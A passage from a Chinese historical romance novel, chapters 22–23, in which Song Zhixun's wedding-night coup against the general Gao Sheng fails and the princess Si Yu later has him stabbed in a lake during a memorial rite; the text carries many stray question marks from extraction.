她知道,长公主下午扮作宫女从后门进来,到表叔房里等了他半个时辰,然后表叔才进房去,再然后,再没有人从里面出来。 直到今日清晨公主才离去,也就是说公主在表叔房中待了一整夜。 还有什么不明白的呢?长公主和表叔,他们…… 斟酌很久,王小桃才小声道:“表叔,你是不是……想造反啊?” 22-30 第22章 第 22 章 高盛脸上含着笑, 隔一会儿才?问?:“为什么?这?么?问??” “我看见了,我看见长?公主去了表叔房间,今天一早才?离开, 表叔你……你是?不是?……因为你手上有兵, 所以你霸占了公主,逼得宋之?洵不得不听你的?, 才?答应娶我,他们之?所以没在一起,是?被我们拆散的?是?不是??” 高盛回道:“为什么?不是?我与公主情投意和,互相愿意呢?我说过了, 公主和宋之?洵的?婚事是?很久以前的?事,他们没成婚和我们没关系, 那天宋之?洵也不是?去见公主了。” “我又不是?小孩子, 表叔你别骗我了。”王小桃一副被小看的?样子。 “我怎么?骗你?”高盛说:“你也看见了, 是?公主主动来找的?我。她?来和我解释她?和宋之?洵没关系,推你落水是?不小心, 我想着她?身份尊贵还主动认错,便不再追究了。” 王小桃嘟着唇:“怎么?可能, 哪个女人会不明不白就和人……更何况她?是?公主。” 公主和表叔,没成婚却在一起,怎么?想都是?表叔主动的?。 “小桃, 你爹便是?为救公主而死,你小叔叔也是?。”高盛正色道:“而且两年多前, 太后、公主、当时?还是?皇子的?皇上危在旦夕, 是?公主找我求助, 我才?铤而走?险,带着你卢叔他们杀了当时?的?刺史、太尉、贵妃等等一批人, 扶了现在的?皇上登基。我们并不欠他们的?。 “宋之?洵娶你是?自愿的?,你要不信可以去问?他;至于我和公主,这?是?我们的?事,你也不用太放在心上,只是?以后再有人敢害你或是?对你不好?,你要马上告诉我。” 王小桃有些发怔,好?半天说不出?话来。 高盛温声道:“好?了,我先出?去了,还有什么?事,晚一点来找我就是?。” 王小桃愣愣地点头,看着高盛走?了。 她?似乎弄清楚了,又似乎没弄清楚。婚礼在即,她?也不知道是?该欢喜面对这?婚事,还是?该认清自己其实就是?老家的?那首富恶霸。 想了好?一会儿,她?决定还是?亲自去问?一问?宋之?洵。 宋之?洵回了莲花岭军营,天色虽然不早,但她?给?表叔留了句话,就带着人乘车过去了。 当大官了真是?很好?,要出?门,自己家里就有马车,荒山野岭也不用怕,身边有护卫。 直到太阳快落山,她?才?到军营,宋之?洵的?军中管得森严,任何人无令不得入内,就算她?来了也只能在外面等着,让人进去通传。 等着时?,王小桃深吸一口气,下意识摸了摸自己的?脸。 在姑姑家时?,唯恐惹姑丈一家不喜,她?要主动做事,洗衣做饭不必说,挑水砍柴她?也做,然后就下地去锄草收稻子,初来京城,她?比表叔府上的?丫鬟还黑,手脚都粗糙。 虽然与宋之?洵定下婚事,但她?知道要不是?表叔,她?是?配不上人家的?。 到现在她?不用做事了,人白了一点,会用脂粉了,自觉比以前好?看了很多,也不知……他心里怎么?想。 正忐忑,军营中来人了,却是?宋之?洵亲自过来的?。 王小桃立刻道:“宋公子。” 宋之?洵到门口来:“县君怎么?来了?” “我……” 王小桃开门见山:“我是?有事要找你。” “县君有何事?”宋之?洵说着请她?进军营:“县君先去帐中?只是?帐中也简陋就是?。” 王小桃想着,如果宋之?洵表露出?不喜欢她?的?样子,她?就一定回去找表叔让他退婚,所以此时?也不必跑人家营帐中去,便往外面看了看,道:“公子有空吗?有空的?话我们去外面说?” 宋之?洵点头,与她?从军营中出?来,到不远处空旷的?山坡上。 周围没了人,王小桃问?:“公子,之?前我表叔向你提亲,你是?真心愿意的?吗?” 她?解释:“其实当时?我什么?也没说,是?去接我的?族里的?五叔,他小时?候就爱逗我,和我们一起回来,不知道他和表叔说了什么?,表叔就问?我愿不愿意嫁你……” 王小桃挠了挠头自己缓解尴尬:“反正,表叔后来就告诉我,说给?我们订下了婚事。我后来才?知道,表叔和我想的?不一样,可能你不愿意,可能是?表叔逼你的?,我就想说,如果你不愿意,你告诉我,我去和表叔说,我一点也不想嫁你,我们退婚。” 宋之?洵回道:“可我是?愿意的?,太尉当时?只是?向我提及此事,没有半点逼迫。” 他说得干脆肯定,王小桃愣了。 “你……” 宋之洵继续道:“太尉的确位高权重,但我还不至于被他逼迫成婚。我承认同意这?桩婚事有太尉的原因,太尉兵权在手,如日中天,我有交好?之?心,但更多是因倾慕县君。县君如璞玉,未染纤尘,不同世家凡俗女子,换了旁人大概也会动心。” 王小桃被说得红了脸。 虽然他那些词她一个都听不懂,但仍然能听出?来,他说成亲是?他自愿的?,他说他喜欢她?。 她?扭开脸去忍不住欢喜的?笑,一时?都不知怎么?面对他。 “可是?……我听说你以前差点做长?公主的?驸马,我觉得你该喜欢长?公主那样的?女子,你们也更相配。”她?想知道答案,又回过头来看向他。 宋之?洵目光坚定道:“那已是?很多年前的?事,是?先帝一时?兴起,我与公主并不熟,更何况,县君不知道吗,公主现在与太尉在一起。” “那个我知道,就是?……” 王小桃不知道怎么?说,她?原来是?有自己的?推测的?,几乎都确定了,可现在每个人都告诉她?不是?这?样的?。 宋之?洵走?到她?面前,温和而认真,甚至带着几分柔情:“总之?,县君不要有顾虑,我真心要娶县君为妻,从此夫妻相伴,白首不离。县君安心在府上等候,如今大战在即,军中事务繁多,待婚礼之?前,我会回去。” 王小桃彻底相信了,欣悦地点头:“好?。” 宋之?洵主动道:“行了大半天路,县君还饿着吧,我带县君去用饭,在此休息一夜,明日再回。” 王小桃带着喜悦和羞怯点头,宋之?洵转身带她?回军营。 看着前方营帐,宋之?洵沉下眉头,紧紧捏住手上刀柄。 大婚之?日,就是?他起事杀高盛之?时?,他当然不能退婚。他要好?好?办这?婚事,大大地办,将高盛一干人等诛杀。 十日后,宋之?洵迎娶高盛侄女,长?庆县君。 婚礼盛大无比,至巳时?末,迎亲吉时?未到,宾客已至,正是?主家最后的?清闲时?刻,吴庚到宋之?洵身旁低语几句,宋之?洵立刻避过众人,从后门出?去,见到了后面的?来人。 竟是?扮作宫女的?司妤。 “公主……” 司妤道:“长?话短说,宋郎今夜务必小心。”说完将一张叠好?的?明黄绢布给?他。 宋之?洵还不解,司妤已乘车离去。 唯恐被人看到,宋之?洵立刻回院中,到房中才?将绢布打开,见上面竟是?盖有玺印的?诛杀高盛的?诏书! 有此诏书,他们今夜便是?奉皇命讨高盛,是?大义之?举! 关键时?刻,也能迅速稳住高盛手下军士,防止军士死战反扑。 宋之?洵将诏书藏于胸口,平复心神?,再次出?去面对宾客。 待到吉时?,浩浩荡荡的?迎亲队伍前往太尉府,一片锣鼓声中,王小桃被迎出?闺房,与宋之?洵一起拜别高堂。 王小桃早已没有父母,她?拜的?是?堂下父母牌位,还有表叔高盛。 高盛不曾娶妻生子,没体会过将女儿抚养长?大的?感觉,他看着王小桃,想的?是?因自己而死的?表哥。 表哥与姑妈都待他极好?,后来随军,也是?表哥第一个加入他的?队伍。他想,自己心中此时?的?怜爱、以及希望她?能平安顺遂的?心情,大概也如同嫁女吧,尽管他不那么?看得上宋之?洵,也疑心他朝三暮四?。 他上前拉起朝他跪拜的?王小桃,和她?道:“有受委屈之?事,随时?让人报与我。” 王小桃连连点头,心里却知道自己不会受委屈。她?看着高盛道:“表叔,我很好?,生死有命,你不要再因我爹而愧疚了。” 高盛勉强一笑,送她?出?嫁。 喜娘牵着新嫁娘出?门去,高盛略有怅然地站在原地,李风华从后边过来,到他身旁牵了牵他衣袖,示意他到隐秘处说话。 高盛便随他从后门出?去,到了后堂,只见陈滔、柴进绪已在屋中。 进屋中,李风华才?道:“属下看迎亲队伍中有几人神?色紧张,不时?观察场上情况,而宋都尉又过分沉静,不似大婚之?喜,总觉得有些古怪。” 柴进绪道:“宋家宾客读书人多,是?到了太尉府见府上卫兵威严,害怕了吧?” 高盛想了想,问?陈滔:“元亨觉得呢?” 陈滔看看李风华,?吟道:“宋都尉如今是?太尉侄女婿,又知太尉无女,县君便是?太尉亲生的?闺女,这?样的?关系,虽然神?色过于平静,但应当无外心才?是?。” 高盛听出?来,陈滔是?有顾忌,因为宋之?洵如今成了他的?侄女婿,他怕背后说宋之?洵,最后被宋之?洵知道;而李风华呢,虽说他心思细腻,能发现一些常人发觉不了的?疑点,但也常常捕风捉影,过于多虑。” 他与徐家已是?敌对,若再与宋家交恶,那天下读书人便都会对他口诛笔伐,更何况宋之?洵是?小桃的?丈夫,上次他那样对宋之?洵已是?过分,若再疑心宋之?洵,宋之?洵就算奈何不了他,却是?可以冷待小桃的?。 他开口道:“元亨,县君陪嫁中有一队护卫,你便加入护卫中,以送嫁之?名随队伍去宋家走?一趟,看看那边情况,无事便好?,有事不要妄动,不露声色,回来禀报我。我再另派朱勇跟着你,李嬷嬷也去,方便你与县君联系。” “是?。”陈滔立刻领命前去。 为免外面人寻找,高盛几人也随即回到前堂。 迎亲队伍到宋家,新人拜过天地,入洞房喝了合卺酒,大礼已成,宋之?洵去厅上宴客,王小桃留在了新房内。 今日四?更便起床梳妆,唯恐失礼,不敢吃东西?,不敢喝水,劳累大半日,现在总算坐下,丫鬟翠儿和她?道:“县君饿了吧,我去给?你弄些吃的?来。” 王小桃正要点头,又犹豫:“这?样好?吗?” 翠儿道:“有什么?好?不好?的?,太尉交待过我,万不能让县君受委屈,受饿那是?指定不行的?!”说着就出?去了。 没一会儿她?就回来,给?王小桃端了一碗馄饨。 “是?宋夫人亲自吩咐人煮的?,说是?他们忙着宴宾,怠慢了县君,让县君莫怪,再想吃别的?即刻吩咐她?们!”翠儿说。 王小桃见过宋夫人,知道她?也出?身名门,说话温柔,十分和气,在她?面前近乎恭敬,从没摆婆婆的?架子,倒让王小桃自己过意不去。 她?开始吃馄饨,翠儿到她?身旁,小声道:“县君,有件事,咱们的?嫁奁不都放在院中的?库房吗?怎么?我见有人抬着箱子往隔壁院中去了,难道是?这?边库房放不下了?” 王小桃知道她?出?嫁,表叔陪送了许多嫁妆,几车也拉不完,但要说一个房间都堆不下,也太夸张了。不过她?才?刚进门,也相信宋家的?为人,便随口道:“大概是?吧,回头问?问?公子就好?了。” 翠儿道:“是?要问?,那箱子挺大的?,有这?么?长?,我见抬进去了十多个,还在抬。”她?一边说着,一边比划。 “十多个?你数错了吧。”王小桃被嬷嬷带着清点过自己的?嫁妆,这?么?大的?箱子怎么?会十多个呢? “我怎么?会数错,就是?,不信县君去看呀,不过现在估计已经搬完了。” 王小桃问?:“系了红布吗?真是?我们的?箱子?” “系了,红漆,还贴了‘囍’字呢,不过搬东西?的?人我不认识。” 王小桃不明白这?是?哪里来的?箱子,只好?说:“不是?什么?大事,还是?晚一点问?问?公子吧。” 翠儿道:“县君该叫夫君了。” 王小桃睇她?一眼,羞涩地低下头去。 过一会儿,李嬷嬷却来了。说是?县君的?一套钗环没带,她?特地给?送过来。 一边与宋家人说着,一边进了门,悄悄与王小桃道:“县君在宋家,可见着什么?异常?” 王小桃见着李嬷嬷来就觉得奇怪,而且那些钗环也不是?新制的?,是?她?以前的?,嬷嬷明明说以前的?就不要了,现在却又专程给?她?送过来。 她?忍不住问?:“嬷嬷说的?是?什么?异常?” “就是?奇怪的?事,太尉让老奴来细细查看,问?一问?县君。” 王小桃摇头。 李嬷嬷道:“若没有,那老奴就先告退了,如果遇着异常,县君务必先注意自身安危。” 李嬷嬷如此说,倒让王小桃紧张起来,她?不明白怎么?出?个嫁,还有安危问?题。 可现在她?也知道,表叔进京后杀了很多人,如今的?平静全靠他兵力压制着,与京城毗邻的?陈州如今就聚集着大军,要征讨表叔,其中还有皇上的?亲舅舅。 他能杀别人,别人当然也能杀他。 李嬷嬷要离去,她?犹豫道:“有件事……” 李嬷嬷立刻回来:“何事?” “翠儿说看见他们搬了好?多大箱子进隔壁院子,那箱子涂着红漆,贴着‘囍’,可我的?嫁妆没那么?多箱子,也不放在隔壁,放在这?个院子里。”王小桃说。 李嬷嬷记在心上,点头离去了。 出?去外面,李嬷嬷将这?消息报与陈滔。 陈滔便与朱勇合作,由陈滔打掩护,朱勇翻墙进院中查看箱子,随后朱勇出?来,将里面情况告知陈滔,两人再佯装无事,留在宋家又喝了几杯酒才?离去。 直至远离宋府,两人才?快马加鞭赶至太尉府,太尉府上也仍有宾客,两人匆匆找到高盛,同他到内室道:“太尉,宋校尉恐有异心,今日宋家宾客比太尉府上还多,且许多都身形健硕,手上有茧,一看便是?军中人,宋家有许多随嫁奁抬进去的?箱子,但单独锁着,属下潜进去查看,发现里面全是?武器!” 无论是?宫中禁卫,还是?城中禁军,普通士兵身上都没有武器,遇到战事,需拿令符去武库领兵器,而武库这?样重要的?地方,高盛当然控制在自己手中,其中令符与钥匙都由心腹看管。 但宋之?洵却不知从哪里私运来了武器。 “武器大致有多少件?”高盛问?。 “约有500件。”朱勇说。 高盛思忖:“那便至少有500人。”随即看向李风华:“公思认为,宋之?洵要做什么??” 李风华却也拿不准,宋之?洵原本是?主动投靠高盛的?,照理应该忠心,但后来又出?了公主之?事…… “属下也不知都尉所谋是?不是?太尉,但不可不防,宁可错怪,不可大意。” 要是?别人,与其疑心,不如杀了了事,但对于宋之?洵高盛的?确有顾虑,不只是?宋家身份,还为了小桃,他不想前脚送小桃嫁宋之?洵,后脚就杀了宋之?洵。 “若他为杀我,最好?的?时?机便是?今晚,我在府中,府中卫兵仅百人,他率数百上千人袭来,确实能将我诛杀。”高盛道。 柴进绪着急:“那如何是?好??先去宋家拿人?” 高盛摇头:“今晚只防守,不拿人。”随后吩咐柴进绪:“你速去调屯骑营,入夜后再出?发,轻装过来,埋伏在后街废宅中,随时?听候命令。” “是?!”柴进绪下去,高盛又下令:“悄悄吩咐下去,下午酒宴不要多喝,随时?听候调遣,醉酒者,依军令处置。” 李风华与陈滔二人下去,高盛随后出?去,面色如常,继续执行宾客。 等到天黑,宾客散去,气氛一下子就紧张起来。 等着新郎官的?王小桃原本还算轻松,但夜渐渐深,她?不由自主开始不安起来。 宾客明显都走?了,但宋之?洵一直没来,她?却听到院中乱糟糟的?,有进进出?出?的?脚步声,那种脚步声很急很沉,就像她?去过的?军营一样。 她?又想起李嬷嬷过来,问?她?有无异常,又想起表叔,宋之?洵,还有长?公主…… 又等了片刻,这?种焦灼的?心情实在难受,她?决定出?去看看。 找理由将宋家的?几个丫鬟支走?,她?便去了隔壁院子,此时?夜已深,四?周都安静下来,独有这?边还传来嘈杂的?声音,走?近一看,只见院中聚集着好?几队人,这?些人都穿轻甲,拿武器,似要有什么?行动,而宋之?洵也换下了白天的?新郎官喜服,站在他们之?前,吩咐着哪一路进前门,哪一路进后门,就在她?满心疑惑时?,脖间一凉,一把长?刀横在了颈旁。 她?被人押着到了宋之?洵面前:“公子,她?在院前偷窥!” 宋之?洵看着她?,一时?没有说话。 所有人都看向她?这?边,王小桃也知此时?有险,连忙道:“夫,夫君……我见你迟迟未回房,所以来找你……” 第23章 第 23 章 此时宋之洵身旁一人道:“主上, 此女为高盛侄女,杀了最为稳妥。” 王小桃一听这?话,顿时惨白了脸, 惊恐地看向宋之洵。 她还记得宋之洵亲口和她说, 与她成亲不是被逼,他是真心实意要和她做恩爱夫妻。 她不知他们在筹划什么, 也不知这?人为什么要杀自己,但很明显,面前的宋之洵在犹豫,他在杀她与不杀她之间犹豫。 生?死竟在一线之间。 还想?说点什么, 但又?什么话都说不出来,也不知是被吓的, 还是急的, 她哭了出来, 既不解又?紧张地看着宋之洵。 宋之洵自然知道不管她是否知道他们要做什么,杀了她是最保险的事, 但他也知道,高盛是高盛, 她是她,不管怎样,她只是个称得上善良的普通少女。 他下令道:“带下去, 看押起来!” 兵士于?是将?王小桃带下去,吴庚随后, 吩咐兵士将?她扔进了一间放杂物的偏房, 命人把守。 屋中没点灯, 只有屋外?的大红灯笼透进一点光亮,王小桃坐在满是灰尘的地上, 意识到?一件事,他们今晚的行动,也许就是杀表叔。 要不然他们不会要杀了她。 为什么呢?所?以这?场婚礼算什么? 在她还在兀自难过时,又?陡然想?到?,也许这?场婚礼的意义与她无关,不是为了骗她,而?是为了骗表叔。 她出嫁,表叔很高兴,昨夜便听到?卢叔几?个人说今日要喝个痛快,他们这?些人都好酒,今日喜宴,府里备了很多酒,此时说不定都已醉倒,宋之洵此时杀过去,不就是轻而?易举? 想?到?此,她不由泪流满面,想?做什么,可一到?门口,还没说话就被人拿刀逼回来,叫她不要轻举妄动,她回到?屋中,完全不知如何是好。 夜半,大队人从宋府出发?,奔袭至太尉府,冲入门去,里面却空空如也。 见此情形,宋之洵得知消息已走漏,今夜行动已然失败,便迅速下令道:“快撤——” 话音未落,大片步兵从四周黑暗中冲出,将?里面人包围。 尽管天昏地暗,但庭中众人也能从脚步声中听出对方声势浩大,足够将?他们里三层外?三层围住。 宋之洵就在门口,更能看清外?面形势,知晓高盛大军候在此处,是早有准备。 他当即拿出司妤给的诏书来,朝外?边军士道:“奉皇帝之诏诛杀奸佞高盛,从诏立功者,加官封侯,听命高盛者,以谋反罪论?处!” 话音一落,外?面军士顿起骚动,他们其中有禁军,天性更听从皇命,听闻有皇帝诏书,便在心中起疑。 高盛骑马立在不远外?,听闻此话,当即拉弓搭箭,百里穿杨,未及宋之洵反应,那箭就射穿宋之洵胸口,将?他射倒在地。 “宋之洵矫诏谋杀朝臣,所?有人,缴械者无罪,顽抗者诛全族——”高盛一声令下,外?面军士渐渐逼近,宋之洵这?边本就敌众我寡,宋之洵又?已倒下,顿时士气大减,双方战斗只维持一小会儿,便以宋之洵全面失败而?告终。 太尉府还在清理庭院时,王小桃被人带到?了,看见她,高盛松一口气。护卫向高盛禀报:“属下去时,县君正被关在偏房。” 高盛仔细看她:“没受伤吧?” 王小桃此时也看出宋之洵败了,喃喃问他:“表叔,他已经……死了吗?” 高盛脸上露出几?分无奈,劝她道:“小桃,没了他,我再?给你找比他更好的人。” 小桃早已悲痛万分,泪流满面,无力地跌坐在地上。 高盛看着她头上的花树冠,看着她一身红嫁衣和她满面泪痕的脸,不由心痛,叹一声气,弯腰拉她道:“他还没死。” 小桃含着泪眼,立刻抬起头来。 宋之洵的确没死,与心房就偏那么一点点。 高盛的马上刀法威震天下,但比刀法更厉害的,是他的箭法,左右开弓,箭无虚发?。 他能一箭致命,自然也能一箭留人一命,那一刻,到?底是不想?亲手让小桃才出嫁就成为寡妇,所?以有意射偏。 他知道,宋之洵虽不怎么样,但他的家世、容貌、才学?,样样都受女人喜欢,小桃嫁过这?样的丈夫,怕是再?难对别的男人看上眼。 宋之洵没被送进太尉府的地牢,只送进了厢房,高盛带小桃进去,宋之洵昏迷着,大夫正在给宋之洵拔箭疗伤。 他那身铠甲与黑衣里面,还穿着没换下来的大红内衫,此时早已被血打湿。 王小桃看到床上的他,朝高盛跪下来。 “表叔,放他一命,行吗?”她哭求道。 高盛无法理解侄女对宋之洵的深情,却无法抵抗她的哭求。 他接她来京城,是想?让她锦衣玉食,让她也过上大家闺秀的生?活,护着她,至少到?自己死那一刻。 “我能放他,但‘宋之洵’必须死,我会将?‘宋之洵’的人头挂上菜市口,这?个人,就留给你。”高盛说。 王小桃明白过来,这?是一种豢养,宋之洵这?个身份已经死了,这?个没有身份人,留在她身边。 她无法接受,但她知道,若不是她,宋之洵早就死了。 她低下头,哭道:“谢表叔。” 高盛将?她扶起来:“就这?样吧,什么时候你有了其他喜欢的人,再?和表叔说,再?嫁一次就是了。” 王小桃点点头。 没一会儿,有人拿了条铁链来,在高盛吩咐下将?宋之洵双脚锁住,随后将?钥匙自己收着,问王小桃:“夜深了,去休息吗?” 王小桃摇摇头:“我睡不着,可以留在这?里吗?”她看着床上已经包扎好的宋之洵。 高盛没再?说话,离开了。 少女的情伤他无可奈何,还有比这?更重要的事。 偏厅内,李风华等人早已等候他多时,事情的善后仍在做,但重点不是这?,而?是那张诏书。 李风华道:“这?诏书是真的,经拷打审问,今日上午,长?公主至宋府后门见过宋之洵。” 高盛看着那向那诏书。 “……今高盛豺狼野心,无道之臣,贪残酷烈,败坏朝纲,朕每思及此,则夙夜难寐。宋卿乃公卿世家,国之重臣,当诛灭奸佞,以匡社?稷……” 可想?而?知,若今日他们没有察觉宋之洵的行动,将?会被宋之洵诛杀,随后便以此诏迷惑人心,他高盛一死,整个凉州军极有可能尽归皇室手中。 这?诏书不是皇上的笔迹,他也不知这?是否是司妤的笔迹,但印是真的。 李风华道:“太尉,自吕骞密谋未遂,郭循出逃,到?宋之洵叛乱,这?桩桩件件,都与宫中相关,至少这?诏书一事,长?公主便逃不了干系,属下以为太尉须早作决断,莫要妇人之仁,或是……色令智昏。” 高盛看他一眼,李风华立刻道:“属下乃肺腑之言,若有不慎,太尉与我等恐为女子所?害!” 这?话确实难听,但高盛知道,李风华的确是肺腑之言。 宋之洵反叛,司妤不可能毫不知情,留着她,没有半点好处。 “太尉……” 李风华还要再?劝,高盛道:“好了,我知道了。”说着吩咐卢慈道:“即刻带兵,随我进宫去。” …… 当得知太尉进宫,司妤就知道宋之洵失败了,他大概也已经不在了。 她静静坐在榻边,等着最后的时刻。 高盛进屋中,坐到?了她对面。 司妤怯怯道:“太尉……” 高盛将?那诏书拿出来,扔在桌上。 司妤脸色煞白。 “公主文采真好,写?的许多词我都没听过,但听起来就知道我罪大恶极。” 司妤立刻到?他面前,哭道:“太尉,都是宋之洵蒙骗我,我实则没有此意,是他百般游说,我一时被他花言巧语所?迷,才,才做了糊涂事……” 此时有宫人端来一杯酒,放于?桌上后离去。 司妤看着那酒,顿时惊得往后一缩,一张绝色的脸满是惊骇。 高盛伸手,轻抚她的脸,将?她缓缓揽在怀中:“说实话,公主是我见过最高贵,最优雅,最好看的女人,我想?,也许多年之后,我仍会想?起你;也许之后娶妻,我也会觉得她不如你之万一。我想?,置一间冰窖,将?公主藏起来。” 藏什么呢?当然是藏她的尸体。 “太尉,太尉……”司妤哭着朝他摇头:“太尉,我心中亦倾慕太尉,只因太尉为县君而?冷落我,我才一时怨忿,受了宋之洵蛊惑,求太尉饶过我这?一次……” 高盛低头,轻轻吻了吻她额头,随后松开她,看一眼面前的酒:“公主,这?是最体面的方式,我不想?在你身上留下那些不好看的东西。” 司妤恐惧得瑟缩,随后一挥手,将?酒打翻在地,转过头,仍向他哭求。 高盛一动不动看着她,随后缓缓抬手,停在她脖子上。 她立刻道:“我知道太尉恨我、恨皇室,因苍岩山之战,因功劳被他人所?夺,太尉的弟弟因皇室而?死,却寂寂无名,我愿代表皇室,追封太尉弟弟为衍侯,以慰他在天之灵。” 高盛没说话,神色似有所?松动,她连忙又?道:“听闻太尉如今才找到?他的尸体,他死于?水中,世人说死于?水中之人会坐水牢,不寻替死鬼便无法转世投胎,我愿亲自祭拜诵经,替其超度。” 高盛开始相信李风华的话,这?个女人必须要除,可他做不到?。 她太能洞察人心,知道怎样求他,知道怎样让他无法拒绝。 是的,他拒绝不了,弟弟之死,是他的心病,弟弟尸骨躺在水中五年,也是他的心病。 追封弟弟,让她亲自祭拜诵经,他如何能忍住这?诱惑? 或许,等她做完这?些,再?杀她也不迟。 但他发?现自己松开她脖子时,内心是松一口气的,好似他也想?找一个理由来放过她。 的确色令智昏,她太美,身子太软,他舍不得。 “那便依你之言。”他道。 司妤欢喜,跪在他身前道:“多谢太尉,我定真心安抚太尉弟弟亡魂。” 高盛想?,再?留她几?日也罢。从今日起,他会对她谨慎小心,没了郭循,没有宋之洵,她一个女人也翻不出什么大浪。 宋之洵在第二日转醒,便知自己事败,竟成高盛俘虏。 他费力要从床上撑起身,才见自己脚腕被铁链锁着,身边是持刀的护卫,唯有一抹红色在眼前,那是还穿着嫁衣的王小桃。 王小桃连忙道:“你别起来,伤口会裂开的,我让人给你端药来。” 宋之洵偏要忍痛坐起来,看看那护卫,又?看向她:“这?是太尉府?” “是。” “高盛呢?他为何不杀我?他要做什么?”宋之洵带着愤恨咬牙问。 王小桃道:“表叔是要杀你,是我求他,他同?意放你一命,但……他们找了个和你相似的死囚,把他的人头当成你的,挂在了菜市口。” 随后她又?道:“表叔也答应我,不会动宋夫人,但宋夫人应该以为你不在了,怕会伤心。” 宋之洵眉眼闪过伤痛,痛声道:“只恨我……没能杀高盛。” 王小桃在一旁不说话。 他因虚弱和疼痛深深喘息,待平复,看向她问:“你想?做什么?我娶你就是被逼的,我真心想?娶的是长?公主,但她被你表叔霸占,你不会还想?和我做夫妻吧?” 王小桃从他眼里看出那种轻视和不屑,仿佛在说:你如此天真,以为我会看得上你吗? 她知道了,从知晓他要杀表叔那一刻,她就知道,这?世家贵公子果然没有喜欢自己,之前的欢喜果然就是老?天给她开的玩笑,这?一夜自然也想?得更明白,但真正面对,还是很难过。 怕被看出眼中的伤痛,她微微垂下头,不去看他:“我没想?这?么多,就觉得如果我不求表叔,不表现得对你……舍不下,你就死了。你之前没杀我,我也不想?看着你死。” 宋之洵看着脚上的铁链,冷笑:“这?样活着是要折磨我?你不如告诉高盛,叫他杀了我算了!” 王小桃不出声,有人从外?面端来药,王小桃道:“不管怎么样,你先把药喝了吧,箭虽没刺中心房,但也射得深,现在天气热,大夫说万万要注意,稍稍不小心,伤口化脓,也会有性命危险。” 宋之洵无力再?维持坐着,躺了下去,看着房顶不出声。 王小桃再?劝他:“你喝药吧,难道你要死给我表叔看吗?不管你活着还是死了,我表叔也不会放在心上的,倒是宋夫人,如果有一天知道你活着,一定很开心。” 宋之洵闭上眼。 他知道若论?气节,他该一死了之,但他发?现自己没那样的勇气,王小桃所?说的活着的世界更吸引他。 他终究是个懦夫,因为长?公主、因为高盛的侮辱而?反戈一击,如果成功了,也许他就成了英雄,成了勇士,但他失败了。 失败了,他的勇气也在那一瞬用完了,他开始想?苟活。 王小桃说:“我让他们扶你起来喝药。” 他沉默着,没有说什么。 八月初三,宜祭祀。 京城已连续下了一个多月的雨,这?一日又?是阴云密布,细雨霏霏。 碧罗湖上涨水,湖水一片缥碧,在雨雾下柳色氤氲,十分好看。 五艘宫廷画舫入湖,上面挂着白色的幡子,据说是为了给新封的衍侯超度。 此行亦有百官侍立,由太常寺少卿在岸边宣读高丰生?前功绩,随后由太监宣旨,追封高丰为衍侯,最后由道士在船上沿湖做法事超度,宫人奏哀乐,长?公主亲自跳舞祭祀。 高丰生?前寂寂无名,死后五年却风头无两,满朝皆知。 待宣旨完,道士、护卫、宫人、司妤与高盛都上船,五艘画舫解开缆绳往湖心而?去,百官留在岸上,也替衍侯诵经哀悼。 司妤与高盛一条船,船上另有两名护卫,再?便是五名宫女,卢慈本想?跟着船上去护卫高盛,但一看那船上也就几?个女人,大哥也不爱他随侍左右,便留在了岸上。 当哀乐起,公主起舞,朝臣们都抬头望向船上,一时间只觉仙女下凡。 只有高盛,此时竟没去看舞,只是伫立在船头,一言不发?,沉默着看着远方。 后来,船至湖心,看舞的官员却发?现不对,太尉那艘船,怎么好像开始慢慢往下沉了? 高盛没怎么乘过船,又?沉浸在往日思绪中,待岸上似有喊声传来,才低头看脚下的船,这?才发?觉不对,这?船正在吃水往下沉。 他即刻吩咐:“快叫船工!” 护卫立刻去叫船工,没一会儿就急匆匆从船舱出来,惊惶道:“太尉,船舱已经淹了,没看到?船工!” 话音落,几?名船工已从船舱内出来,身上全是水,护卫正要质问,船工却一声不吭跳入湖中,很快就没入湖底不见了踪影。 护卫立刻拿刀往里刺,但毫无用处,不由抬头道:“太尉……” 船已下沉至船舷,高盛问:“你们可会水?” 两名护卫同?时既慌乱又?恐惧地摇头:“属下不会……” 高盛明白,他们是凉州人,凉州少水,就没几?个会水的。 他看向司妤,此时司妤也停了舞,脸上带上惊惶,急跑过来他这?边。 “太尉——” 高盛伸手扶住她,正待想?办法,船在此刻陡然一歪,他重心不稳,恰在此时,司妤竟将?他一推,他跌至湖中。 他会水,但不多,至少这?么深的湖水他还是第一次见识,还没反应过来,身体就已往下沉。 眼前,一身素衣的司妤从船上跳下,她手中有一抹银色,是一把极短的匕首,似乎是从鞋底拿出。 然后五名手持匕首的宫女,加上她,朝自己游来。 高盛很勉强才能让自己慢慢往水上浮,不至她们还没动手,就先让自己被淹死。 他已经明白,这?六人是来杀自己的。 何其狡诈,竟是在水中。他娘的他就没怎么下过水,在这?水里,就像浑身被捆绑一样,他完全动弹不得,稍不留意,就要呛水! 一名宫女水性极好,已迅速游至他面前,手持匕首,看着他却不敢下手。 如绵也在,随后而?来,犹豫片刻,咬着牙,一刀捅入他胸口。 这?一刀扎得浅,对他来说不算什么,高盛立刻将?如绵一脚踢开。 但这?样的动作让他迅速往湖底沉去,他只能立刻按着水往上浮。 才浮出水面,司妤来了,她看着他,毫不犹豫再?朝他胸口刺一刀。 这?一刀对准着心房,但力气不够,到?他胸口时偏了一寸。 岸上有惊呼声,喊杀声,有卢慈急命人跳水的声音,但高盛明白,此时离他近的人大多不会水,他此时孤立无援,没有人能救他。 真奇特,这?竟让他想?起五年前那一战。 司妤再?次朝他刺来一刀,他急伸手招架,但随即就发?现她只是虚晃一枪,下一刻,她便一刀割向他喉咙。 颈间一凉,他往水中急速下沉,殷红的血在缥碧的湖中蔓延,隔着血雾,他看见司妤在水里也美得似洛神,但那双目光,却又?坚毅得似战士。 这?一刻,他突然明白了许多。 她邀他至虞山温泉,不是要温存,是要看他的水性,因为只有那里有那么大的水池。 她与宋之洵私会,不是因为男女之情,是要掩盖她在温泉训练宫女的事实,就算熟悉水性,这?些宫女想?要在水下行刺,也并非易事。 宋之洵叛乱,既是她的谋划,也是她谋划的一环。 她提出水上祭拜,做法事,不是为活命,而?是为这?一刻。 所?以……她怎样确定有这?么个湖上乘船的机会呢?万一弟弟的尸首…… 对,尸首,他开始意识到?,也许弟弟的骸骨是假的,一具尸体,怎么可能从苍岩山飘至碧罗湖,五年都没被发?现,偏偏这?时候发?现,还正好报上太尉府。 但他信了,因为尸体的年龄、尸体上面的箭、上面的信物,但他忘了这?些都能做假。 所?以从很早很早,她就已经准备在水下杀他,而?他一无所?知,以为她只是他掌中的鸟雀。 早想?过死,却怎么也想?不到?最后是死在她手上。 